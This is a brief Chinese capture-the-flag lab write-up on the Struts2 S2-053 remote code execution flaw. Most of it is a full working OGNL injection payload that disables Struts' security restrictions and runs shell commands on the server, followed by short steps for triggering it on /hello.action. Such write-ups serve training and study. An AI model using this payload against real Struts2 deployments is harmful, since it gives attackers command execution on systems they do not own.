buuctf [struts2]s2-053

漏洞简介
在一定条件下，当开发人员在Freemarker标签中使用错误的构造时，可能会导致远程代码执行漏洞
https://www.freebuf.com/vuls/147735.html

漏洞利用

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

访问/hello.action

在POC后面按一个回车才能回显

打印环境变量ENV

标签：ognlUtil,buuctf,container,s2,cmd,漏洞,struts2,dm,com
来源： https://blog.csdn.net/qq_36241198/article/details/115056179